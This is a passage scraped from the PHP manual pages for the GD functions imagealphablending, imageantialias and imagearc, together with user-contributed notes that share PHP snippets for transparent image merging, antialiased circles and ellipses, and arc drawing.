$i= array($flag, $mask); // here is the array of images, using the above specified $flag and $mask images

$s = imagemergealpha($i);

header("Content-type: image/png");
imagepng($s);

//Merge multiple images and keep transparency

//$i is and array of the images to be merged:
// $i[1] will be overlayed over $i[0]
// $i[2] will be overlayed over that
// ...

//the function returns the resulting image ready for saving

function imagemergealpha($i) {

 //create a new image
 $s = imagecreatetruecolor(imagesx($i[0]),imagesy($i[1]));

 //merge all images
 imagealphablending($s,true);
 $z = $i;
 while($d = each($z)) {
  imagecopy($s,$d[1],0,0,0,0,imagesx($d[1]),imagesy($d[1]));
 }

 //restore the transparency
 imagealphablending($s,false);
 $w = imagesx($s);
 $h = imagesy($s);
 for($x=0;$x<$w;$x++) {
  for($y=0;$y<$h;$y++) {
   $c = imagecolorat($s,$x,$y);
   $c = imagecolorsforindex($s,$c);
   $z = $i;
   $t = 0;
   while($d = each($z)) {
   $ta = imagecolorat($d[1],$x,$y);
   $ta = imagecolorsforindex($d[1],$ta);
   $t += 127-$ta['alpha'];
   }
   $t = ($t > 127) ? 127 : $t;
   $t = 127-$t;
   $c = imagecolorallocatealpha($s,$c['red'],$c['green'],$c['blue'],$t);
   imagesetpixel($s,$x,$y,$c);
  }
 }
 imagesavealpha($s,true);
 return $s;
}

?>
05-Jun-2005 08:53
I have been looking around for a while to find a script which does the following: generates image with text using specified font with given color, but with totally transparent background (by alpha-channnel, not via color transparency). Finally, I have created the script by myself. It's just a rough idea how to do it.

<?php
$tekst = "This is a test message\nza¿ó³æ gê¶l± ja¼ñ!\nZA¯Ó£Æ GÊ¦L¡ JA¬Ñ?";

$h = 9;

$size = imageTTFBBox($h, 0, "arial.ttf", $tekst);
$image = imageCreateTrueColor(abs($size[2]) + abs($size[0]), abs($size[7]) + abs($size[1]));
imageSaveAlpha($image, true);
ImageAlphaBlending($image, false);

$tlo = imagecolorallocatealpha($image, 220, 220, 220, 127);
imagefill($image, 0, 0, $tlo);

$napis = imagecolorallocate($image, 220, 220, 220);
imagettftext($image, $h, 0, 0, abs($size[5]), $napis, "arial.ttf", $tekst);
imagepng($image, "output.png");
imagedestroy($image);

?>
<html>
<head>
</head>
<body bgcolor="#808080">
<img src="output.png" alt="">
</body>
</html>
webmaster at nweurosport dot com 17-Feb-2005 10:00
When saving images for use in transparent overlays like the logo addition mentioned above I've found that it is not succesful with PNG-24, only GIF and PNG-8.  I've had great success with PNG-8's.
dscharrer at gmail dot com 23-Dec-2004 11:32
If imagealphablending os set to true and you want to merge two images, you are left with no transparency. If it is set to false, only the transparency of the second image is respected, causing no parts of the first image to be shown. To solve this use the following function:

<?
//Merge multiple images and keep transparency

//$i is and array of the images to be merged:
// $i[1] will be overlayed over $i[0]
// $i[2] will be overlayed over that
// ...

//the function returns the resulting image ready for saving

function imagemergealpha($i) {

 //create a new image
 $s = imagecreatetruecolor(imagesx($i[0]),imagesy($i[1]));

 //merge all images
 imagealphablending($s,true);
 $z = $i;
 while($d = each($z)) {
  imagecopy($s,$d[1],0,0,0,0,imagesx($d[1]),imagesy($d[1]));
 }

 //restore the transparency
 imagealphablending($s,false);
 $w = imagesx($s);
 $h = imagesy($s);
 for($x=0;$x<$w;$x++) {
  for($y=0;$y<$h;$y++) {
   $c = imagecolorat($s,$x,$y);
   $c = imagecolorsforindex($s,$c);
   $z = $i;
   $t = 0;
   while($d = each($z)) {
    $ta = imagecolorat($d[1],$x,$y);
    $ta = imagecolorsforindex($d[1],$ta);
    $t += 127-$ta['alpha'];
   }
   $t = ($t > 127) ? 127 : $t;
   $t = 127-$t;
   $c = imagecolorallocatealpha($s,$c['red'],$c['green'],$c['blue'],$t);
   imagesetpixel($s,$x,$y,$c);
  }
 }
 imagesavealpha($s,true);
 return $s;
}
?>
joe AT cerberon DOT net 02-Mar-2004 02:02
Note that alpha blending must be enabled to render antialiased text in true color mode.

For OLDER versions of PHP and/or GD (e.g. which comes with Debian woody) alpha blending is DISABLED by default and it is ENABLED for NEWER versions.
www.deebster.com 17-Nov-2003 12:12
Your target image resource not must be paletted if you want to use blending.

This means using ImageCreateTrueColor() rather than ImageCreate().

(If your source is e.g. a jpeg and you've used ImageCreateFromJPEG(), the above is irrelevant.)
boo at php dot net 30-Jun-2003 11:18
Notice that AlphaBlending is ON by default.
So, only use this function if you don't want to use AlphaBlending.
tcarter at roundcorners dot com 13-Feb-2002 04:55
If you are saving an image as PNG with transparency then saving it as a PNG-8 will give it transparency in the same way GIF has, but that won't work with this function.

For this function to work the image needs to have an alpha channel (obviously really when you think about it), so make sure you save as PNG-24
barnabas at kendall dot NOSPAM dot net 12-Oct-2001 02:56
If you are trying to copy a transparant image on to another image, you might assume that you should apply the ImageAlphaBlending function to the image that has the transparancy, the source image. In reality, you must apply the ImageAlphaBlending function to the destination image. Basically it's saying, "make the specified image respect transparancy".

Here's a real world example. Suppose you want to put your logo on the upper left corner of a photograph. Your logo is a PNG with transparancy, and the photo is a JPEG. Here's what you would do:

<?php
$photoImage = ImageCreateFromJPEG('photo.jpg');
ImageAlphaBlending($photoImage, true);

$logoImage = ImageCreateFromPNG('logo.png');
$logoW = ImageSX($logoImage);
$logoH = ImageSY($logoImage);

ImageCopy($photoImage, $logoImage, 0, 0, 0, 0, $logoW, $logoH);

ImageJPEG($photoImage); // output to browser

ImageDestroy($photoImage);
ImageDestroy($logoImage);
?>


Should antialias functions be used or not

  • « imagealphablending
  • imagearc »
  • PHP Manual
  • GD and Image Functions
  • Should antialias functions be used or not

imageantialias

(PHP 4 >= 4.3.2, PHP 5)

imageantialias — Should antialias functions be used or not

Description

bool imageantialias ( resource $image , bool $enabled )

Activate the fast drawing antialiased methods for lines and wired polygons. It does not support alpha components. It works using a direct blend operation. It works only with truecolor images.

Thickness and styled are not supported.

Using antialiased primitives with transparent background color can end with some unexpected results. The blend method uses the background color as any other colors. The lack of alpha component support does not allow an alpha based antialiasing method.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

enabled

Whether to enable antialiasing or not.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 A comparison of two lines, one with anti-aliasing switched on

<?php
// Setup an anti-aliased image and a normal image
$aa = imagecreatetruecolor(400, 100);
$normal = imagecreatetruecolor(200, 100);

// Switch antialiasing on for one image
imageantialias($aa, true);

// Allocate colors
$red = imagecolorallocate($normal, 255, 0, 0);
$red_aa = imagecolorallocate($aa, 255, 0, 0);

// Draw two lines, one with AA enabled
imageline($normal, 0, 0, 200, 100, $red);
imageline($aa, 0, 0, 200, 100, $red_aa);

// Merge the two images side by side for output (AA: left, Normal: Right)
imagecopymerge($aa, $normal, 200, 0, 0, 0, 200, 100, 100);

// Output image
header('Content-type: image/png');

imagepng($aa);
imagedestroy($aa);
imagedestroy($normal);
?>

The above example will output something similar to:

Output of example : A comparison of two lines, one with anti-aliasing switched on

Notes

See Also

  • imagecreatetruecolor() - Create a new true color image

User Contributed Notes

verdy_p at wanadoo dot fr 04-Jan-2010 10:27
There's a minor edit bug in those lines in the fast algorithm ("20 times faster"):

            imageLine( $img, $cx + $ix, $cy + $iy - 1, $cx + $ix, $cy + $ix, $fill );
            imageLine( $img, $cx + $ix, $cy - $iy + 1, $cx + $ix, $cy - $ix, $fill );
            imageLine( $img, $cx - $ix, $cy + $iy - 1, $cx - $ix, $cy + $ix, $fill );
            imageLine( $img, $cx - $ix, $cy - $iy + 1, $cx - $ix, $cy - $ix, $fill );
            imageLine( $img, $cx + $iy - 1, $cy + $ix, $cx + $ix, $cy + $ix, $fill );
            imageLine( $img, $cx + $iy - 1, $cy - $ix, $cx + $ix, $cy - $ix, $fill );
            imageLine( $img, $cx - $iy + 1, $cy + $ix, $cx - $ix, $cy + $ix, $fill );
            imageLine( $img, $cx - $iy + 1, $cy - $ix, $cx - $ix, $cy - $ix, $fill );

the reference to "$ix" in the parameters of each call (just before the ", $fill " parameter) should be sometimes "$iy".

This algorithm uses the Bresenham midpoint algorithm for circles, but computing successive pixels positions ($ix, $iy) incrementally in the first octant, relative to the circle center ($cx, $cy), then applying the 8 symetries by swapping them or changing signs.

A similar algorithm exists for ellipses: it uses quadrants symetries instead of octants when the ellipse focal axis is aligned or orthogonal to the two image axis, be subdividing each quadrant in two regions (deminited by the point on the arc where the tangent has a unitary slope).

For general ellipses (rotated arbitrarily in the plane), there are also 4 quadrants symetries, but they are a bit more complex to compute, as you need to compute the rotations, for this reason you'll only be able to use 2 symetries, but the incremental algorithm still exists: you may think that this would be based on the evaluation of the sum of lengths from the two focal points, which is contant; however the sum of two distance cannot be squared so easily (you would need to compute the square of both distances, then take their respective square root before adding them and testing the difference with the exact length. A cleaner solution uses NURBS (Non-Uniform Rational B-splines) because they are numerically stable and still very fast to compute (you only need some floatting point for the knot constants that separate each quadrant, which is then computed using a simple quadratic parametric equation of the ellipse instead of the implicit equation, given that the quadratic (polynomial) equation has first and scond derivatives that are easy to bound in order to get the needed precision and reduce the number of unnecessary pixel plots : such the parametric eqaution will draw points along the arc with a movement speed varying between 1 and 4 subpixel distance per incremental step, but in fact only between 1 and 2 subpixels when you subdivide the quadrant in two regions).

Alternatively, you may also draw an antialised "straight" ellipse with a double resolution, and then rotate the antiliased image while also rescale it at half size, and at the same time combining it to the target: depending on implementations (and computing language used), it may be faster (but it may require more memory for the intermediate image at scale 2)...
dsl101 31-Jul-2009 05:48
Having tried long and hard to get a decent antialiased circle function, I finally gave in a wrote something from scratch. Its very very naive - basically examining every single pixel in the enclosing square, but as a result produces very nice antialiasing, with decent control over stroke width, antialiasing amount and tightness of antialiasing. I'm sure it could be optimised considerably, but it was fast enough for what I was doing. Hope its of some use.

<?php

function imagecircleaa($img, $cx, $cy, $r, $w, $s, $t, $color) // image, centerX, centerY, radius, stroke width, aa width, tightness, color
{
    $adj = $w + $s;
    $sCol = imagecolorallocate($img, $color['r'], $color['g'], $color['b']);
    for($x = -$r - $adj; $x <= $r + $adj; $x++)
    {
        for($y = -$r - $adj; $y <= $r + $adj; $y++)
        {
            $d = sqrt($x * $x + $y * $y); // distance from pixel to center
            $err = abs($d - $r); // absolute distance from pixel to circle edge
            if($err <= $w / 2 + $s) // within the stroke width + smoothing radius
            {
                if($err <= $w / 2) // inside the stroke width so make it solid color
                {
                    $aaCol = $sCol;
                }
                else // in the antialisaing region so make it a blended color
                {
                    $err -= $w / 2; // adjust to the aliased part
                    $err = 1 - $err / $s; // adjust to between 0 and 1
                    $err = ($err - 0.5) * $t * 2; // adjust to -$t to +$t for tightness
                    $err = ($err / sqrt(1 + $err * $err) + 1) / 2; // sigmoid curve to smooth edges
                    $rgb = imagecolorat($img, $x + $cx, $y + $cy); // Get current background color
                    $rB = ($rgb >> 16) & 0xFF;
                    $gB = ($rgb >> 8) & 0xFF;
                    $bB = $rgb & 0xFF;
                    $rDelta = ($rB - $color['r']); // change in Red from background
                    $rComp = $rB - $rDelta * $err; // mix Red
                    $gDelta = ($gB - $color['g']); // change in Red from background
                    $gComp = $gB - $gDelta * $err; // mix Red
                    $bDelta = ($bB - $color['b']); // change in Red from background
                    $bComp = $bB - $bDelta * $err; // mix Red
                    $aaCol = imagecolorallocate($img, $rComp, $gComp, $bComp);
                }
                imagesetpixel($img, $x + $cx, $y + $cy, $aaCol);
            }
        }
    }
}

$img = imagecreatetruecolor(500,500);

$cBlack = imagecolorallocate($img, 0, 0, 0);
$cGrey = imagecolorallocate($img, 120, 120, 120);
$cWhite = imagecolorallocate($img, 255, 255, 255);

imagefill($img, 0, 0, $cWhite);
imagepolygon($img, array(0, 0,200, 0, 200, 200, 0, 200), 4, cBlack);

$aWhite = array('r'=>255, 'g'=>255, 'b'=>255);
$aBlack = array('r'=>0, 'g'=>0, 'b'=>0);
$aRed = array('r'=>200, 'g'=>0, 'b'=>0);
$aGreen = array('r'=>0, 'g'=>200, 'b'=>0);
$aBlue = array('r'=>0, 'g'=>0, 'b'=>255);

// standard ellipse function for comparison
imageellipse($img, 100, 100, 50, 50, $cBlack);

// compare different tightnesses - good values are between 2 and 8
// note overall width is stroke width + 2 * aa width (e.g. 12 pixels below)
imagecircleaa($img, 50, 50, 25, 2, 5, 2, $aBlue);
imagecircleaa($img, 50, 150, 25, 2, 5, 8, $aBlue);

// different coloured background to show blending
imagefilledrectangle($img, 150,150, 200, 200, $cGrey);
imagecircleaa($img, 150, 150, 25, 3, 2, 2, $aRed);

// overlapping circles still aa nicely, although the colour blending algorithm produces quite dark intermediate shades
imagecircleaa($img, 150, 60, 25, 2, 3, 2, $aBlue);
imagecircleaa($img, 150, 50, 25, 2, 3, 2, $aGreen);

header("Content-type: image/png");
imagepng($img);
imagedestroy($img);
?>
padigan 06-Feb-2007 12:13
If you can't be bothered creating (or searching for) a full screen antialias function.
You can actually cheat (well a bit of a dirty inefficient hack really!!)
and perform a fake antialias on an image by using 'imagecopyresampled'...

first create your source image twice the size of what you really want.

Then use 'imagecopyresampled' to shrink it to half the size, the function
automatically interpolates pixels to create an antialias effect!

I've used this in a pie chart function and it works brilliantly,
not as slow as I thought it might be!

the rough code below should give you the idea...

<?php
$realWidth = 500;
$realHeight = 500;
$srcWidth = $realWidth * 2;
$srcHeight = $realHeight * 2;

// create the larger source image
$srcImage = imagecreatetruecolor($srcWidth,$srcHeight);

// create the real/final image
$destImage = imagecreatetruecolor($realWidth,$realHeight);

// now do whatever you want to draw in the source image
// blah....

// now the picture is finished, do the shrink...
imagecopyresampled($destImage,$srcImage,0,0,0,0,
$realWidth,$realHeight,$srcWidth,$srcHeight);

// now just do whatever you want with '$destImage' (e.g. display or output to file!)
?>
Ulrich Mierendorff 10-Aug-2006 09:39
I've written a php function which draws antialiased and filled elliptic arcs (segments of ellipses or full ellipses). It does not require the imageantialias function of php!
It's available at
http://icewind.ic.funpic.de/index.php?content=ellipse
Best Regards,
Ulrich
n-dream at gmx dot ch 18-Feb-2006 07:18
The following function draws an AntiAliased (unfilled) Ellipse.
It is used just liked the nomral ImageEllipse function.
The optional parameter sets the number of segments...

function ImageEllipseAA( &$img, $x, $y, $w, $h,$color,$segments=70)
{
    $w=$w/2;
    $h=$h/2;
    $jump=2*M_PI/$segments;
    $oldx=$x+sin(-$jump)*$w;
    $oldy=$y+cos(-$jump)*$h;
    for($i=0;$i<2*(M_PI);$i+=$jump)
    {
        $newx=$x+sin($i)*$w;
        $newy=$y+cos($i)*$h;
        ImageLine($img,$newx,$newy,$oldx,$oldy,$color);
        $oldx=$newx;
        $oldy=$newy;
    }
}
klaas at kosmokrator dot com 15-Feb-2006 02:22
Here is an optimized version of the optimized version of the antialiased circle function by sebbi: (more than 20 times faster)...

<?php

    function imageSmoothCircle( &$img, $cx, $cy, $cr, $color ) {
        $ir = $cr;
        $ix = 0;
        $iy = $ir;
        $ig = 2 * $ir - 3;
        $idgr = -6;
        $idgd = 4 * $ir - 10;
        $fill = imageColorExactAlpha( $img, $color[ 'R' ], $color[ 'G' ], $color[ 'B' ], 0 );
        imageLine( $img, $cx + $cr - 1, $cy, $cx, $cy, $fill );
        imageLine( $img, $cx - $cr + 1, $cy, $cx - 1, $cy, $fill );
        imageLine( $img, $cx, $cy + $cr - 1, $cx, $cy + 1, $fill );
        imageLine( $img, $cx, $cy - $cr + 1, $cx, $cy - 1, $fill );
        $draw = imageColorExactAlpha( $img, $color[ 'R' ], $color[ 'G' ], $color[ 'B' ], 42 );
        imageSetPixel( $img, $cx + $cr, $cy, $draw );
        imageSetPixel( $img, $cx - $cr, $cy, $draw );
        imageSetPixel( $img, $cx, $cy + $cr, $draw );
        imageSetPixel( $img, $cx, $cy - $cr, $draw );
        while ( $ix <= $iy - 2 ) {
            if ( $ig < 0 ) {
                $ig += $idgd;
                $idgd -= 8;
                $iy--;
            } else {
                $ig += $idgr;
                $idgd -= 4;
            }
            $idgr -= 4;
            $ix++;
            imageLine( $img, $cx + $ix, $cy + $iy - 1, $cx + $ix, $cy + $ix, $fill );
            imageLine( $img, $cx + $ix, $cy - $iy + 1, $cx + $ix, $cy - $ix, $fill );
            imageLine( $img, $cx - $ix, $cy + $iy - 1, $cx - $ix, $cy + $ix, $fill );
            imageLine( $img, $cx - $ix, $cy - $iy + 1, $cx - $ix, $cy - $ix, $fill );
            imageLine( $img, $cx + $iy - 1, $cy + $ix, $cx + $ix, $cy + $ix, $fill );
            imageLine( $img, $cx + $iy - 1, $cy - $ix, $cx + $ix, $cy - $ix, $fill );
            imageLine( $img, $cx - $iy + 1, $cy + $ix, $cx - $ix, $cy + $ix, $fill );
            imageLine( $img, $cx - $iy + 1, $cy - $ix, $cx - $ix, $cy - $ix, $fill );
            $filled = 0;
            for ( $xx = $ix - 0.45; $xx < $ix + 0.5; $xx += 0.2 ) {
                for ( $yy = $iy - 0.45; $yy < $iy + 0.5; $yy += 0.2 ) {
                    if ( sqrt( pow( $xx, 2 ) + pow( $yy, 2 ) ) < $cr ) $filled += 4;
                }
            }
            $draw = imageColorExactAlpha( $img, $color[ 'R' ], $color[ 'G' ], $color[ 'B' ], ( 100 - $filled ) );
            imageSetPixel( $img, $cx + $ix, $cy + $iy, $draw );
            imageSetPixel( $img, $cx + $ix, $cy - $iy, $draw );
            imageSetPixel( $img, $cx - $ix, $cy + $iy, $draw );
            imageSetPixel( $img, $cx - $ix, $cy - $iy, $draw );
            imageSetPixel( $img, $cx + $iy, $cy + $ix, $draw );
            imageSetPixel( $img, $cx + $iy, $cy - $ix, $draw );
            imageSetPixel( $img, $cx - $iy, $cy + $ix, $draw );
            imageSetPixel( $img, $cx - $iy, $cy - $ix, $draw );
        }
    }

    $img = imageCreateTrueColor( 320, 240 );

    imageSmoothCircle( $img, 160, 120, 100, array( 'R' => 0xCC, 'G' => 0x33, 'B' => 0x00 ) );
    imageSmoothCircle( $img, 170, 110,  75, array( 'R' => 0xDD, 'G' => 0x66, 'B' => 0x00 ) );
    imageSmoothCircle( $img, 180, 100,  50, array( 'R' => 0xEE, 'G' => 0x99, 'B' => 0x00 ) );
    imageSmoothCircle( $img, 190,  90,  25, array( 'R' => 0xFF, 'G' => 0xCC, 'B' => 0x00 ) );

    header( 'Content-Type: image/png' );
    imagePNG( $img );

?>
voinic at NOSgmailPAM dot com 12-Jan-2006 11:22
The only trick I found to draw an antialiased polygon AND keep it transparent (to use them as overlays in google maps for example)... make two images and merge them. Order of operations is important and the transparency color of the final image must be set after the merge:

<?
header("Content-type: image/png");

$values = array(
           40,  50,  // Point 1 (x, y)
           20,  240, // Point 2 (x, y)
           60,  60,  // Point 3 (x, y)
           240, 20,  // Point 4 (x, y)
           50,  40,  // Point 5 (x, y)
           10,  10  // Point 6 (x, y)
           );

$im = imagecreate(250, 250);
$bg = imagecolorallocate($im, 255, 255, 255);

$im2 = imagecreatetruecolor(250, 250);
$bg2 = imagecolorallocate($im2, 255, 255, 255);
imagefilledrectangle($im2,0,0,249,249,$bg2);
imagecolortransparent($im2, $bg);
imageantialias($im2, true);
$c_red = imagecolorallocate($im2, 255, 0, 0);
imagepolygon($im2, $values, 6, $c_red);
imageantialias($im2, false);

imagecopymerge($im, $im2,0,0,0,0,250,250,50);

imagecolortransparent($im, $bg);
$c_red_alpha = imagecolorallocatealpha($im, 255, 0, 0, 60);
imagefilledpolygon($im, $values, 6, $c_red_alpha);

imagepng($im);
imagedestroy($im);
imagedestroy($im2);
?>
sebbi at conceptT dot com 26-Sep-2005 04:06
I did a search in google and got following url:
http://www.isocalc.com/tutorials/antialias.htm
With this tutorial I was able to write a function to convert this algorithm into php, the result for a filled circel is this:
<?php
function imagefilledcircleantialiased(&$im, $cx, $cy, $r, $fgcolor, $bgcolor) {
  $fgcolors = imagecolorsforindex($im,$fgcolor);
  $bgcolors = imagecolorsforindex($im,$bgcolor);
  for ( $x = $cx - $r; $x <= $cx + $r; $x++ ) {
    for ( $y = $cy - $r; $y <= $cy + $r; $y++ ) {
      $rx = $x - $cx; $ry = $y - $cy;
      $ir = sqrt(( $rx == 0 ? 0 : pow($rx - 0.5*abs($rx)/$rx, 2) ) + ( $ry == 0 ? 0 : pow($ry - 0.5*abs($ry)/$ry, 2) ));
      $or = sqrt(( $rx == 0 ? 0 : pow($rx + 0.5*abs($rx)/$rx, 2) ) + ( $ry == 0 ? 0 : pow($ry + 0.5*abs($ry)/$ry, 2) ));
      if ( $or <= $r ) {
        imagesetpixel($im, $x, $y, $fgcolor);
      }
      elseif ( $ir < $r ) {
        $filled = 0;
        for ( $xx = $x - 0.45; $xx < $x + 0.5; $xx+=0.1 ) {
          for ( $yy = $y - 0.45; $yy < $y + 0.5; $yy+=0.1 ) {
            $rxx = $xx - $cx; $ryy = $yy - $cy;
            if ( sqrt(pow($rxx, 2) + pow($ryy, 2)) < $r ) $filled++;
          }
        }
        $red = round($bgcolors['red'] + ( $fgcolors['red'] - $bgcolors['red'] ) * $filled / 100);
        $green = round($bgcolors['green'] + ( $fgcolors['green'] - $bgcolors['green'] ) * $filled / 100);
        $blue = round($bgcolors['blue'] + ( $fgcolors['blue'] - $bgcolors['blue'] ) * $filled / 100);
        imagesetpixel($im, $x, $y, imagecolorclosest($im, $red, $green, $blue));
      }
    }
  }
}

$width = 160;
$height = 200;
$r = 20;
$bgc = "651713";
$fgc = "b12b2c";

$im = imagecreate($width, $height);
$bgcolor = imagecolorallocate($im, hexdec(substr($bgc, 0, 2)), hexdec(substr($bgc, 2, 2)), hexdec(substr($bgc, 4, 2)));
for( $i = 0; $i < 100; $i++ ) {
    imagecolorallocate($im, ( hexdec(substr($fgc, 0, 2)) + $i*hexdec(substr($bgc, 0, 2))) / ($i + 1), ( hexdec(substr($fgc, 2, 2)) + $i*hexdec(substr($bgc, 2, 2))) / ($i + 1), ( hexdec(substr($fgc, 4, 2)) + $i*hexdec(substr($bgc, 4, 2))) / ($i + 1));
}
$fgcolor = imagecolorclosest($im, hexdec(substr($fgc, 0, 2)), hexdec(substr($fgc, 2, 2)), hexdec(substr($fgc, 4, 2)));

imagefilledcircleantialiased($im, 80, 100, $r, $fgcolor, $bgcolor);

header("Content-Type: image/png");
imagepng($im);
?>
An improvement would be to draw the inner rectangle or more rectangles in the circle with the builtin rectangle function to reduce the usage of imagesetpixel() from (2*r)^2 to 2*Pi*(r + epsilon), in other words, the dependency on r would break down from square to linear.
Another improvement would be to determine filled and unfilled triangles in the observed pixel and calculate their areas, so we can get rid of the inner loops for getting the fraction filled/unfilled.
One can easily modify this function to solve other problems like lines, unfilled circles, etc.
trimbo 06-Sep-2005 09:25
So far using PHP 5.0.4 I've managed to get Imageantialias() to work well with:
ImageLine()
ImagePolygon()

but not with:
ImageArc()
ImageEllipse()
ImageFilled*()

You can still draw antialiased filled polygons by drawing a hollow polygon on top of a filled one with the same dimensions:
<?php
        $points=array($x,$y, $x2,$y2, $x3,$y3);
        imageFilledPolygon($im, $points, 3, $gray );
        imagePolygon($im, $points, 3, $gray );
?>


Draws an arc

  • « imageantialias
  • imagechar »
  • PHP Manual
  • GD and Image Functions
  • Draws an arc

imagearc

(PHP 4, PHP 5)

imagearc — Draws an arc

Description

bool imagearc ( resource $image , int $cx , int $cy , int $width , int $height , int $start , int $end , int $color )

imagearc() draws an arc of circle centered at the given coordinates.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

cx

x-coordinate of the center.

cy

y-coordinate of the center.

width

The arc width.

height

The arc height.

start

The arc start angle, in degrees.

end

The arc end angle, in degrees. 0° is located at the three-o'clock position, and the arc is drawn clockwise.

color

A color identifier created with imagecolorallocate().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Drawing a circle with imagearc()

<?php

// create a 200*200 image
$img = imagecreatetruecolor(200, 200);

// allocate some colors
$white = imagecolorallocate($img, 255, 255, 255);
$red   = imagecolorallocate($img, 255,   0,   0);
$green = imagecolorallocate($img,   0, 255,   0);
$blue  = imagecolorallocate($img,   0,   0, 255);

// draw the head
imagearc($img, 100, 100, 200, 200,  0, 360, $white);
// mouth
imagearc($img, 100, 100, 150, 150, 25, 155, $red);
// left and then the right eye
imagearc($img,  60,  75,  50,  50,  0, 360, $green);
imagearc($img, 140,  75,  50,  50,  0, 360, $blue);

// output image in the browser
header("Content-type: image/png");
imagepng($img);

// free memory
imagedestroy($img);

?>

The above example will output something similar to:

Output of example : Drawing a circle with imagearc()

See Also

  • imagefilledarc() - Draw a partial arc and fill it
  • imageellipse() - Draw an ellipse
  • imagefilledellipse() - Draw a filled ellipse

User Contributed Notes

lucas dot delmas at live dot fr 08-Jul-2013 04:15
The imagearc function has a precision of one degree. The function truncates the $start and $end values to the inferior degree.

For example if the starting angle you calculated is : -178.62450462172°
and the ending angle is : -152.78056427917°
imagearc will draw a curve from -178° to -152°.

If you need accurate curves drawing, you need to use a loop to draw little step-by-step lines. By creating a large number of short enough lines, you will create the impression of a curve with accuracy.
joe dot tym at gmail dot com 03-Oct-2012 02:08
I didn't have much luck with the other two functions, one of them makes circles that look like they've been printed on a dot-matrix printer. This simple function builds a border out of circles, seems to work nicely.

<?php
function imagearcunfilled($image,$x,$y,$width,$height,$border_thickness, $color) {

        imagesetthickness($image, 1);

        $x_radius = $width / 2;
        $y_radius = $height / 2;

        for ($i = 0; $i < 360; $i++) {
                if (TRUE) {
                        $x2 = $x + cos($i) * $x_radius;
                        $y2 = $y + sin($i) * $y_radius;
                        imagefilledarc($image,$x2,$y2,$border_thickness,$border_thickness,0,360,$color,IMG_ARC_PIE);
                }
        }
}
?>
chandlerklebs at gmail dot com 08-Jan-2012 07:24
This is an example script I wrote for myself to help me learn how to used the imagearc functions. Maybe if will also help others.

<?php
//example PHP script of imagearc functions
$image_width=360;$image_height=360;
$img = imagecreatetruecolor($image_width,$image_height); //make image variable

//create a background color by making a filled rectangle
$color = imagecolorallocate($img,255,255,255);
imagefilledrectangle($img,0,0,$image_width,$image_height,$color);

$r=$image_width/2 - $image_width/32 ; //radius
$cx=$image_width/2;
$cy=$image_height/2;

$color = imagecolorallocate($img,0,0,0);
imagearc($img, $cx, $cy, $r*2, $r*2,  0, 360, $color); //regular outlines arc

imagefilledarc($img, $cx, $cy, $r*1, $r*1,  0, 90, $color,IMG_ARC_CHORD); //filled triangle with chord of circle
imagefilledarc($img, $cx, $cy, $r*1, $r*1,  180, 270, $color,IMG_ARC_PIE); //pie slice

$font_number=5; //can use built in fonts numbered 1 to 5
$string="Hello world!";
imagestring($img, $font_number, $cx-(imagefontwidth($font_number)*strlen($string))/2, $cy-120, $string, $color);

header("Content-type: image/png");
imagepng($img);// output image in the browser

$filename="imagearc";
imagepng($img,"./frames/$filename.png",9); //make highly compressed png

imagedestroy($img);
?>
Michael 04-Mar-2011 11:56
Hi, this is a function that replaces "imagearc" to solve the thickness-problem. it does not use the global value set by imagesetthickness, so you have to pass it along.

"connecting" the arc to lines is still a problem, it sometimes shifts by 1px, but so does the original function.

Theres still alot to improve ...

<?php
function myimagearc($im,$mid_x,$mid_y,$rad,$w1,$w2,$col,$thickness){
        global $cols;
        $rad+=$thickness/2;    // to calculate outer edge
        $th_fact = 1-((($thickness-1)/$rad));

        $pts = 36*$rad;    // adjust density
        $fact = $pts/360;
        $w1 = $w1*$fact;
        $w2 = $w2*$fact;
        if($thickness > 2)    // to make sure we have neither gaps nor ugly looking artefacts
            imagesetthickness($handle,2);
        else
            imagesetthickness($handle,1);
        $winkel = (2*pi())/$pts;
        for($i=$w1+1;$i< $w2;$i++){
            $x = (cos($i*$winkel)*($rad));
            $y = (sin($i*$winkel)*($rad));
            $x1 = $x+$mid_x;
            $y1 = $y+$mid_y;
            $x2 = $th_fact*$x+$mid_x;
            $y2 = $th_fact*$y+$mid_y;
            imageline($im, $x1,$y1,$x2,$y2,$col);
        }
        imagesetthickness($handle,1); // just to reset
    }
?>
ajim1417 at gmail dot com 29-Jan-2010 04:42
I wrote a simple function that can draws an arc counter-clockwisekly. Here it is :

<?php

function imagearcCC(&$im, $cx, $cy, $w, $h, $s, $e, $c) {
$start = 360 - $e;
$end = 360 - $s;
return imagearc($im, $cx, $cy, $w, $h, $start, $end, $c);
}

?>

The params of this function is exactly the same as the usual imagearc function.
anton dot vandeghinste at telenet dot be 13-Dec-2009 04:27
I needed an arc with a thick border and i didn't like to use 359.9 as end angle so i made a function that works pretty well:

<?php
function imagearcthick($image, $x, $y, $w, $h, $s, $e, $color, $thick = 1)
{
    if($thick == 1)
    {
        return imagearc($image, $x, $y, $w, $h, $s, $e, $color);
    }
    for($i = 1;$i<($thick+1);$i++)
    {
        imagearc($image, $x, $y, $w-($i/5), $h-($i/5),$s,$e,$color);
        imagearc($image, $x, $y, $w+($i/5), $h+($i/5), $s, $e, $color);
    }
}
?>
mojiro at awmn dot net 13-Dec-2005 09:28
A previous for the Rotated (Filled)Ellipse note from(nojer2 at yahoo dot com, 02-Apr-2001 12:06) has a mistake, at the second arc. Replace them with the following listing.

if ($filled) {
    triangle($im, $cx, $cy, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
    triangle($im, $cx, $cy, $cx-$px, $cy-$py, $cx-$x, $cy-$y, $colour);
} else {
    imageline($im, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
    imageline($im, $cx-$px, $cy-$py, $cx-$x, $cy-$y, $colour);
}
ruturaj_v at yahoo dot com 17-May-2004 03:32
this is another piechart eg. very simple ...

<?php
global $deg;

function get_polar($xrel, $yrel, $ang, $radius) {
    $i = $ang;
    $ang = ($ang * pi())/ 180;

    $ix = abs($radius*cos($ang));
    $iy = abs($radius*sin($ang));

    if ($i>=0 && $i<=90) {
        $ix = $xrel + $ix;
        $iy = $yrel - $iy;
    }
    if ($i>90 && $i<=180) {
        $ix = $xrel - $ix;
        $iy = $yrel - $iy;
    }
    if ($i>180 && $i<=270) {
        $ix = $xrel - $ix;
        $iy = $yrel + $iy;
    }
    if ($i>270 && $i<=360) {
